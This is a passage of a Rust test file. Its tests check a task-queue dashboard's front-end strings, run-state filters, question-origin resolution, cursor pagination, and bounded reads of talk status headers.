25077 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25078 .await;
25079 assert_eq!(stale.status, 200, "an older build must be replaced");
25080 assert!(stale.body.contains("renderRunActions"));
25081 }
25082
25083 #[test]
25084 fn the_task_detail_has_an_actions_fab_and_sheet() {
25085 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25086 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25087 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25088 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25090 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25091 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25093 assert!(APP_JS.contains("renderTaskActions(null);"));
25094 let (_, sheet) = APP_JS
25097 .split_once("function renderTaskActions(task) {")
25098 .expect("sheet renderer");
25099 let (body, _) = sheet
25100 .split_once("\nfunction openTaskActions() {")
25101 .expect("end of sheet renderer");
25102 assert!(body.contains("changePriority("));
25103 assert!(body.contains("openTaskEdit(task)"));
25104 assert!(body.contains("renderTaskHoldBox(host"));
25105 assert!(body.contains("renderTaskDoneBox(host"));
25106 assert!(body.contains("renderTaskDeleteBox(host"));
25107 assert!(APP_JS.contains("API.priority(id)"));
25108 assert!(APP_JS.contains("API.deleteTask(id)"));
25109 assert!(APP_JS.contains("location.hash = \"#/queue\""));
25111 assert!(APP_JS.contains("$(\"task-actions-error\")"));
25113 }
25114
25115 #[test]
25116 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25117 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25118 let actions = INDEX_HTML
25119 .find("id=\"run-actions-box\"")
25120 .expect("actions box");
25121 assert!(task < actions, "the task entry comes first in the sheet");
25122 assert!(APP_JS.contains("renderRunTaskEntry"));
25123 assert!(APP_JS.contains("\"Open task \""));
25124 assert!(APP_JS.contains("started directly, no task"));
25126 assert!(APP_JS.contains("sheet-task-link"));
25127 assert!(APP_JS.contains("task-chip-link"));
25128 }
25129
25130 #[test]
25131 fn the_deck_never_sends_the_operator_to_a_terminal() {
25132 assert!(
25135 !APP_JS.contains("Run `magi fold` first"),
25136 "the deck must offer the fold, not prescribe a shell command"
25137 );
25138 assert!(APP_JS.contains("foldRun:"));
25139 assert!(APP_JS.contains("resumeRun:"));
25140 assert!(APP_JS.contains("renderRunActions"));
25141
25142 assert!(APP_JS.contains("armedFold"));
25144 assert!(APP_JS.contains("Yes, fold worktrees"));
25145
25146 assert!(APP_JS.contains("can no longer be resumed"));
25149 }
25150
25151 #[test]
25152 fn a_finished_run_explains_itself_with_its_own_last_line() {
25153 assert!(
25159 !APP_JS.contains("collapsed on agent quota"),
25160 "a stall must not be explained by a cause the deck did not check"
25161 );
25162 assert!(
25163 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25164 "and a block must not offer a guess with an `or` in it"
25165 );
25166
25167 assert!(
25171 APP_JS.contains("setText(r.event, run.event || \"\")"),
25172 "the run's last line is rendered unconditionally"
25173 );
25174 assert!(
25175 !APP_JS.contains("moving && run.event"),
25176 "and never gated on the run still moving"
25177 );
25178
25179 assert!(APP_JS.contains("lost to quota"));
25181 }
25182
25183 #[test]
25205 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25206 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25207 let shapes_body_start =
25208 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25209 let shapes_close = APP_JS[shapes_body_start..]
25210 .find("].map(")
25211 .expect("the shape list is closed by its done-computing .map(...)")
25212 + shapes_body_start;
25213 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25214
25215 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25216 for entry in shapes_src.split('{').skip(1) {
25217 let waiting = entry.contains("waiting: true");
25218 let dead = entry.contains("live: \"dead\"");
25219 let status_at =
25220 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25221 let status_end = entry[status_at..]
25222 .find('"')
25223 .expect("the status string is closed")
25224 + status_at;
25225 let parked = entry.contains("display_status: \"parked\"");
25226 shapes.push((
25227 waiting,
25228 entry[status_at..status_end].to_string(),
25229 dead,
25230 parked,
25231 ));
25232 }
25233 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25234
25235 let done_rule_marker = "done: !";
25239 let done_rule_at = APP_JS[shapes_close..]
25240 .find(done_rule_marker)
25241 .expect("the done rule follows the shape list")
25242 + shapes_close
25243 + done_rule_marker.len();
25244 let includes_at = APP_JS[done_rule_at..]
25245 .find(".includes(shape.status)")
25246 .expect("the done rule ends in .includes(shape.status)")
25247 + done_rule_at;
25248 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25249 .trim()
25250 .trim_start_matches('[')
25251 .trim_end_matches(']')
25252 .split(',')
25253 .map(|s| s.trim().trim_matches('"'))
25254 .filter(|s| !s.is_empty())
25255 .collect();
25256
25257 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25258 .into_iter()
25259 .map(|(waiting, status, dead, parked)| {
25260 let done = !not_done.contains(&status.as_str());
25261 (waiting, status, dead, parked, done)
25262 })
25263 .collect();
25264
25265 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25269 if waiting {
25270 return "waiting";
25271 }
25272 if dead
25273 && !parked
25274 && !matches!(
25275 status,
25276 "merged"
25277 | "ready"
25278 | "stalled"
25279 | "blocked"
25280 | "failed"
25281 | "verified_noop"
25282 | "superseded"
25283 | "already_in_base"
25284 )
25285 {
25286 return "stale";
25287 }
25288 match status {
25289 "merged" | "ready" => "landed",
25290 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25291 | "already_in_base" => "ended",
25292 _ => "flight",
25293 }
25294 }
25295
25296 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25299 match filter_key {
25300 "active" => !done,
25301 "flight" => !done && !waiting && !dead,
25302 "stale" => !done && !waiting && dead,
25303 "waiting" => waiting,
25304 "done" => done,
25305 "all" => true,
25306 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25307 }
25308 }
25309
25310 let compatible = |section: &str, filter_key: &str| {
25311 shapes.iter().any(|(waiting, status, dead, parked, done)| {
25312 run_section(*waiting, status, *dead, *parked) == section
25313 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25314 })
25315 };
25316
25317 let expected = [
25322 ("waiting", [true, false, false, true, true, true]),
25323 ("stale", [true, false, true, false, false, true]),
25324 ("flight", [true, true, false, false, false, true]),
25325 ("landed", [false, false, false, false, true, true]),
25326 ("ended", [false, false, false, false, true, true]),
25327 ];
25328 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25329
25330 for (section, wants) in expected {
25331 for (filter_key, want) in filter_keys.iter().zip(wants) {
25332 assert_eq!(
25333 compatible(section, filter_key),
25334 want,
25335 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25336 );
25337 }
25338 }
25339
25340 assert!(
25343 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25344 );
25345 assert!(APP_JS.contains(
25346 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25347 ));
25348 assert!(APP_JS.contains(
25349 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25350 ));
25351 }
25352
25353 #[tokio::test]
25354 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25355 let dir = tempfile::tempdir().expect("tempdir");
25359 let explicit = dir.path().join("not-a-checkout");
25360 std::fs::create_dir_all(&explicit).expect("create dir");
25361 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25362
25363 let missing = dir.path().join("does-not-exist-at-all");
25364 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25365 }
25366
25367 #[test]
25368 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25369 assert!(APP_JS.contains("function statsDonutArcs"));
25370 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25371 assert!(APP_JS.contains("function statusInBucket"));
25373 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25374 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25375 let buckets = [
25376 "merged",
25377 "ready",
25378 "in_progress",
25379 "blocked",
25380 "failed",
25381 "verified_noop",
25382 "superseded",
25383 "stalled",
25384 ];
25385 for key in buckets {
25386 let var = format!("--verdict-{key}:");
25387 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25389 assert!(
25390 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25391 "{key}"
25392 );
25393 }
25394 }
25395
25396 #[tokio::test]
25397 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25398 let dir = tempfile::tempdir().expect("tempdir");
25399 let queue = Queue::at(dir.path().join("queue"));
25400 let talks = Talks::at(dir.path().join("talks"));
25401 std::fs::create_dir_all(queue.root()).unwrap();
25402 std::fs::create_dir_all(talks.root()).unwrap();
25403
25404 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25406 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25407
25408 let mut task = Task::new(
25410 "title".into(),
25411 "inst".into(),
25412 PathBuf::from("/repo"),
25413 Source::Human,
25414 );
25415 task.id = "20261019-123456-abcd".into();
25416 std::fs::write(
25418 queue.path_of(&task.id),
25419 serde_json::to_string(&task).unwrap(),
25420 )
25421 .unwrap();
25422
25423 let talk_id = "20261019-234567-cdef";
25424 seed_talk_at(&talks, talk_id, "open");
25425
25426 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25428 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25429
25430 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25432 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25433 }
25434
25435 #[tokio::test]
25436 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25437 let home = tempfile::tempdir().unwrap();
25438 let ui = delta_test_ui(home.path());
25439 std::fs::write(ui.queue.root(), "not a directory").unwrap();
25441 std::fs::write(ui.talks.root(), "not a directory").unwrap();
25442 assert!(
25443 questions_list(State(ui.clone()))
25444 .await
25445 .unwrap()
25446 .0
25447 .is_empty()
25448 );
25449 assert!(
25450 question_origins(State(ui.clone()))
25451 .await
25452 .unwrap()
25453 .0
25454 .is_empty()
25455 );
25456 let mut question = Question::new(
25457 "run-history".into(),
25458 "review".into(),
25459 "seat".into(),
25460 "Useful question".into(),
25461 "Useful detail".into(),
25462 vec![],
25463 );
25464 ui.questions.put(&mut question).unwrap();
25465 let core = questions_core(State(ui.clone())).await.unwrap().0;
25466 assert_eq!(core.len(), 1);
25467 assert_eq!(core[0].question.summary, "Useful question");
25468 assert!(!core[0].can_consult_chat);
25469 assert!(core[0].origin_chat.is_none());
25470 assert_eq!(core[0].record_revision, question_record_revision(&question));
25471 assert!(question_origins(State(ui.clone())).await.is_err());
25472 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25473 }
25474
25475 #[tokio::test]
25476 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25477 let home = tempfile::tempdir().unwrap();
25478 let ui = delta_test_ui(home.path());
25479 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25480 let mut parent = Task::new(
25481 "parent".into(),
25482 "body".into(),
25483 PathBuf::from("/repo"),
25484 Source::Agent {
25485 run: chat.clone(),
25486 node: crate::queue::CHAT_NODE.into(),
25487 },
25488 );
25489 parent.id = "parent-task".into();
25490 parent.runs = vec!["parent-run".into()];
25491 ui.queue.put(&mut parent).unwrap();
25492 let mut previous = parent;
25493 for generation in 1..=2 {
25494 let mut child = Task::new(
25495 "child".into(),
25496 "body".into(),
25497 PathBuf::from("/repo"),
25498 Source::Human,
25499 );
25500 child.id = format!("child-task-{generation}");
25501 child.runs = vec![format!("child-run-{generation}")];
25502 child.followup = Some(crate::queue::FollowUp {
25503 origin_task: Some(previous.id.clone()),
25504 run: previous.runs[0].clone(),
25505 pr: String::new(),
25506 findings: vec![],
25507 generation,
25508 });
25509 ui.queue.put(&mut child).unwrap();
25510 previous = child;
25511 }
25512 let mut collision = Task::new(
25515 "collision".into(),
25516 String::new(),
25517 PathBuf::from("/repo"),
25518 Source::Human,
25519 );
25520 collision.id = "collision-task".into();
25521 collision.runs = vec![previous.id.clone()];
25522 ui.queue.put(&mut collision).unwrap();
25523 let mut questions = Vec::new();
25524 for (node, reference, expected, eligible) in [
25525 (crate::triage::NODE, previous.id.as_str(), true, false),
25526 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25527 ("review", previous.runs[0].as_str(), true, true),
25528 (
25529 crate::bump::NOTICE_NODE,
25530 previous.runs[0].as_str(),
25531 true,
25532 false,
25533 ),
25534 ("review", previous.id.as_str(), false, false),
25536 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25537 ("review", "unrelated", false, false),
25538 ] {
25539 let mut q = Question::new(
25540 reference.into(),
25541 node.into(),
25542 "seat".into(),
25543 "Question".into(),
25544 String::new(),
25545 vec![],
25546 );
25547 ui.questions.put(&mut q).unwrap();
25548 questions.push((q, expected, eligible));
25549 }
25550 for (node, reference, associated, eligible) in [
25551 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25552 (
25553 crate::reconcile::NODE,
25554 previous.runs[0].as_str(),
25555 false,
25556 true,
25557 ),
25558 ("implement", previous.id.as_str(), false, false),
25559 ] {
25560 let mut q = Question::new(
25561 reference.into(),
25562 node.into(),
25563 crate::reconcile::SEAT.into(),
25564 "Reconcile".into(),
25565 String::new(),
25566 vec![],
25567 );
25568 ui.questions.put(&mut q).unwrap();
25569 questions.push((q, associated, eligible));
25570 }
25571 let mut release = Question::new(
25572 "release-record".into(),
25573 crate::bump::NOTICE_NODE.into(),
25574 "release-watch".into(),
25575 "Release".into(),
25576 String::new(),
25577 vec![],
25578 );
25579 ui.questions.put(&mut release).unwrap();
25580 let watch = crate::release_watch::WatchState {
25581 question: Some(release.id.clone()),
25582 run: Some(previous.runs[0].clone()),
25583 held_task: Some(previous.id.clone()),
25584 ..Default::default()
25585 };
25586 let watch_dir = home.path().join("release-watch");
25587 std::fs::create_dir_all(&watch_dir).unwrap();
25588 let watch_path = watch_dir.join("watch.json");
25589 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25590 for batch in [
25592 Vec::new(),
25593 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25594 ] {
25595 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25596 assert!(watches.is_empty());
25597 }
25598 questions.push((release.clone(), true, false));
25599
25600 let views = questions_list(State(ui.clone())).await.unwrap().0;
25601 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25602 for (q, associated, eligible) in &questions {
25603 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25604 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25605 let expected = associated.then_some(chat.as_str());
25606 assert_eq!(
25607 view.origin_chat.as_deref(),
25608 expected,
25609 "{} {}",
25610 q.node,
25611 q.run
25612 );
25613 assert_eq!(origin.origin_chat.as_deref(), expected);
25614 assert_eq!(view.origin_chat_closed, *associated);
25615 assert_eq!(origin.origin_chat_closed, *associated);
25616 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25617 assert_eq!(origin.can_consult_chat, *eligible);
25618 }
25619 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25621 let link = crate::release_watch::WatchState {
25622 run,
25623 held_task,
25624 ..watch.clone()
25625 };
25626 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25627 let (tasks, talks, watches) =
25628 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25629 assert_eq!(
25630 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25631 .unwrap()
25632 .id,
25633 chat,
25634 );
25635 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25636 }
25637 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25638 let duplicate_path = watch_dir.join("duplicate.json");
25640 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25641 let (tasks, talks, watches) =
25642 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25643 assert!(
25644 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25645 .is_none()
25646 );
25647 std::fs::remove_file(duplicate_path).unwrap();
25648 let mut unrelated = Task::new(
25650 "other".into(),
25651 String::new(),
25652 PathBuf::from("/repo"),
25653 Source::Human,
25654 );
25655 unrelated.id = "unrelated-task".into();
25656 ui.queue.put(&mut unrelated).unwrap();
25657 let mut conflicting = watch.clone();
25658 conflicting.held_task = Some(unrelated.id);
25659 std::fs::write(
25660 watch_dir.join("conflict.json"),
25661 serde_json::to_vec(&conflicting).unwrap(),
25662 )
25663 .unwrap();
25664 let (tasks, talks, watches) =
25665 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25666 assert!(
25667 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25668 .is_none()
25669 );
25670 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25671 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25672 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25673 assert!(origin.origin_chat.is_none());
25674 assert!(!origin.origin_chat_closed);
25675 }
25676 }
25677
25678 #[test]
25679 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25680 let home = tempfile::tempdir().unwrap();
25681 let ui = delta_test_ui(home.path());
25682 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25683 for i in 0..1000 {
25684 let mut task = Task::new(
25685 "unrelated".into(),
25686 "instruction ".repeat(256),
25687 PathBuf::from("/repo"),
25688 Source::Human,
25689 );
25690 task.id = format!("history-{i:04}");
25691 ui.queue.put(&mut task).unwrap();
25692 let id = seed_talk_at(&ui.talks, &task.id, "open");
25693 let mut talk = ui.talks.get(&id).unwrap();
25694 talk.pending = "history ".repeat(256);
25695 ui.talks.put(&mut talk).unwrap();
25696 }
25697 let mut parent = Task::new(
25698 "parent".into(),
25699 "body".into(),
25700 PathBuf::from("/repo"),
25701 Source::Agent {
25702 run: chat_id.clone(),
25703 node: crate::queue::CHAT_NODE.into(),
25704 },
25705 );
25706 parent.id = "task-parent".into();
25707 parent.runs = vec!["run-parent".into()];
25708 ui.queue.put(&mut parent).unwrap();
25709 let mut child = Task::new(
25710 "child".into(),
25711 "body".into(),
25712 PathBuf::from("/repo"),
25713 Source::Human,
25714 );
25715 child.id = "task-child".into();
25716 child.runs = vec!["run-child".into()];
25717 child.followup = Some(crate::queue::FollowUp {
25718 run: "run-parent".into(),
25719 origin_task: Some(parent.id.clone()),
25720 pr: "https://example.invalid/pr/1".into(),
25721 findings: vec![],
25722 generation: 1,
25723 });
25724 ui.queue.put(&mut child).unwrap();
25725 let mut question = Question::new(
25726 child.id.clone(),
25727 crate::conduct::NODE.into(),
25728 "seat".into(),
25729 "Continue?".into(),
25730 String::new(),
25731 vec![],
25732 );
25733 let (tasks, talks, _watches) =
25734 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25735 assert_eq!(tasks.len(), 2);
25736 assert_eq!(talks.len(), 1);
25737 assert_eq!(
25738 ui.monitor.queue_index.lock().unwrap().reparsed,
25739 0,
25740 "exact ancestry bypasses the index"
25741 );
25742 assert_eq!(
25743 crate::consult::origin_talk(&tasks, &talks, &question)
25744 .unwrap()
25745 .id,
25746 chat_id
25747 );
25748 question.run = "run-child".into();
25749 question.node = "review".into();
25750 for origin_task in [Some(parent.id.clone()), None] {
25751 child.followup.as_mut().unwrap().origin_task = origin_task;
25752 ui.queue.put(&mut child).unwrap();
25753 let (tasks, talks, _watches) =
25754 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25755 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25756 let expected =
25757 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25758 .unwrap();
25759 assert_eq!(actual.id, expected.id);
25760 assert!(!actual.status.open());
25761 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25762 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25763 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25766 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25767 }
25768 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25769 ui.queue.put(&mut child).unwrap();
25770 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25771 let (tasks, talks, _watches) =
25772 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25773 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25774 child.origin_chat = Some(chat_id.clone());
25775 ui.queue.put(&mut child).unwrap();
25776 let (tasks, talks, _watches) =
25777 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25778 assert_eq!(
25779 crate::consult::origin_talk(&tasks, &talks, &question)
25780 .unwrap()
25781 .id,
25782 chat_id
25783 );
25784 let revision = question_record_revision(&question);
25785 question.abandon("settled elsewhere");
25786 assert_ne!(revision, question_record_revision(&question));
25787 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25788 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25789 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25790 let (tasks, talks, _watches) =
25791 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25792 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25793 }
25794
25795 #[test]
25796 fn list_cursors_freeze_membership_and_expire_explicitly() {
25797 let home = tempfile::tempdir().unwrap();
25798 let ui = delta_test_ui(home.path());
25799 std::fs::create_dir_all(ui.queue.root()).unwrap();
25800 for i in 0..40 {
25801 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25802 }
25803 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25804 assert_eq!(first.len(), STORE_PAGE_SIZE);
25805 let cursor = cursor.unwrap();
25806 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25807 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25808 let (second, _) = page_ids(
25809 &ui,
25810 false,
25811 PageQuery {
25812 before: Some(cursor.clone()),
25813 },
25814 )
25815 .unwrap();
25816 assert_eq!(second[0], "record-0023");
25817 assert!(second.iter().all(|id| !first.contains(id)));
25818 assert!(
25819 page_ids(
25820 &ui,
25821 true,
25822 PageQuery {
25823 before: Some(cursor.clone())
25824 }
25825 )
25826 .is_err()
25827 );
25828 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25829 assert_eq!(fresh[0], "record-9999");
25830 ui.monitor.list_walks.lock().unwrap().clear();
25831 assert!(
25832 page_ids(
25833 &ui,
25834 false,
25835 PageQuery {
25836 before: Some(cursor)
25837 }
25838 )
25839 .is_err()
25840 );
25841 }
25842
25843 #[tokio::test]
25844 async fn talk_pages_load_every_open_then_frozen_closed_history() {
25845 let home = tempfile::tempdir().unwrap();
25846 let ui = delta_test_ui(home.path());
25847 for i in 0..23 {
25849 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25850 }
25851 for i in 0..45 {
25852 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25853 }
25854 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25855 let first = talks_page(
25856 State(ui.clone()),
25857 Query(PageQuery::default()),
25858 header::HeaderMap::new(),
25859 )
25860 .await
25861 .unwrap()
25862 .0;
25863 assert_eq!(
25864 first.rows.iter().filter(|row| row.status.open()).count(),
25865 23
25866 );
25867 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25868 assert!(first.rows[..23].iter().all(|row| row.status.open()));
25869 let parsed = ui
25870 .monitor
25871 .talk_parses
25872 .load(std::sync::atomic::Ordering::Relaxed);
25873 assert_eq!(
25874 parsed,
25875 first.rows.len(),
25876 "closed bodies outside this page are not restored"
25877 );
25878 let fresh = talks_page(
25879 State(ui.clone()),
25880 Query(PageQuery::default()),
25881 header::HeaderMap::new(),
25882 )
25883 .await
25884 .unwrap()
25885 .0;
25886 assert_eq!(fresh.rows.len(), first.rows.len());
25887 assert_eq!(
25888 ui.monitor
25889 .talk_parses
25890 .load(std::sync::atomic::Ordering::Relaxed),
25891 parsed
25892 );
25893 let mut seen: std::collections::HashSet<_> =
25894 first.rows.iter().map(|row| row.id.clone()).collect();
25895 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25897 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25898 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25899 let mut next = first.next;
25900 while let Some(cursor) = next {
25901 let page = talks_page(
25902 State(ui.clone()),
25903 Query(PageQuery {
25904 before: Some(cursor),
25905 }),
25906 header::HeaderMap::new(),
25907 )
25908 .await
25909 .unwrap()
25910 .0;
25911 assert!(page.rows.len() <= STORE_PAGE_SIZE);
25912 for row in page.rows {
25913 assert!(seen.insert(row.id), "a cursor must not repeat membership");
25914 }
25915 next = page.next;
25916 }
25917 let expected: HashSet<_> = (0..23)
25918 .map(|i| format!("20260101-000000-{i:03}"))
25919 .chain(
25920 (0..45)
25921 .filter(|i| *i != 1)
25922 .map(|i| format!("20261019-000000-{i:03}")),
25923 )
25924 .collect();
25925 assert_eq!(
25926 seen, expected,
25927 "the cursor walk must return every surviving ID"
25928 );
25929 let refreshed = talks_page(
25930 State(ui.clone()),
25931 Query(PageQuery::default()),
25932 header::HeaderMap::new(),
25933 )
25934 .await
25935 .unwrap()
25936 .0;
25937 assert_eq!(
25938 refreshed
25939 .rows
25940 .iter()
25941 .filter(|row| row.status.open())
25942 .count(),
25943 23
25944 );
25945 assert!(
25946 refreshed
25947 .rows
25948 .iter()
25949 .any(|row| row.id == "20261019-000000-000")
25950 );
25951 assert!(
25952 !refreshed
25953 .rows
25954 .iter()
25955 .any(|row| row.id == "20260101-000000-000")
25956 );
25957 }
25958
25959 #[test]
25960 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25961 let home = tempfile::tempdir().unwrap();
25962 let ui = delta_test_ui(home.path());
25963 for i in 0..STORE_PAGE_SIZE + 5 {
25964 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25965 }
25966 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25967 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25968 assert!(next.is_none());
25969 }
25970
25971 #[test]
25972 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25973 struct Counted<R> {
25974 inner: R,
25975 bytes: usize,
25976 }
25977 impl<R: std::io::Read> std::io::Read for Counted<R> {
25978 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25979 let n = self.inner.read(buf)?;
25980 self.bytes += n;
25981 Ok(n)
25982 }
25983 }
25984 let home = tempfile::tempdir().unwrap();
25985 let ui = delta_test_ui(home.path());
25986 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25987 let mut chat = ui.talks.get(&id).unwrap();
25988 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25989 chat.turns = vec![
25990 serde_json::from_value(serde_json::json!({
25991 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25992 }))
25993 .unwrap(),
25994 ];
25995 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25996 chat.status = status;
25997 let body = serde_json::to_vec_pretty(&chat).unwrap();
25999 let mut reader = Counted {
26000 inner: body.as_slice(),
26001 bytes: 0,
26002 };
26003 assert_eq!(read_talk_status(&mut reader), Some(status));
26004 assert!(
26005 reader.bytes <= 1024,
26006 "header classification read {} bytes",
26007 reader.bytes
26008 );
26009 }
26010 }
26011 let noncanonical = format!(
26014 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26015 "x".repeat(1024 * 1024)
26016 );
26017 let mut reader = Counted {
26018 inner: noncanonical.as_bytes(),
26019 bytes: 0,
26020 };
26021 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26022 assert!(reader.bytes <= 1024);
26023 let oversized = format!(
26024 r#"{{"agent":"{}","status":"open"}}"#,
26025 "x".repeat(128 * 1024)
26026 );
26027 let mut reader = Counted {
26028 inner: oversized.as_bytes(),
26029 bytes: 0,
26030 };
26031 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26032 assert!(reader.bytes <= 64 * 1024);
26033 }
26034
26035 #[test]
26036 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26037 let home = tempfile::tempdir().unwrap();
26038 let ui = delta_test_ui(home.path());
26039 seed_talk_at(&ui.talks, "header-chat", "open");
26040 std::fs::create_dir_all(ui.queue.root()).unwrap();
26041 let (started, ready) = std::sync::mpsc::channel();
26042 let (release, wait) = std::sync::mpsc::channel();
26043 let chat_ui = ui.clone();
26044 let scan = std::thread::spawn(move || {
26045 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26046 started.send(()).unwrap();
26047 wait.recv().unwrap();
26048 open_talk_ids(ui, ids)
26049 })
26050 .unwrap()
26051 });
26052 ready.recv_timeout(Duration::from_secs(2)).unwrap();
26053 let (finished, result) = std::sync::mpsc::channel();
26054 let queue = std::thread::spawn(move || {
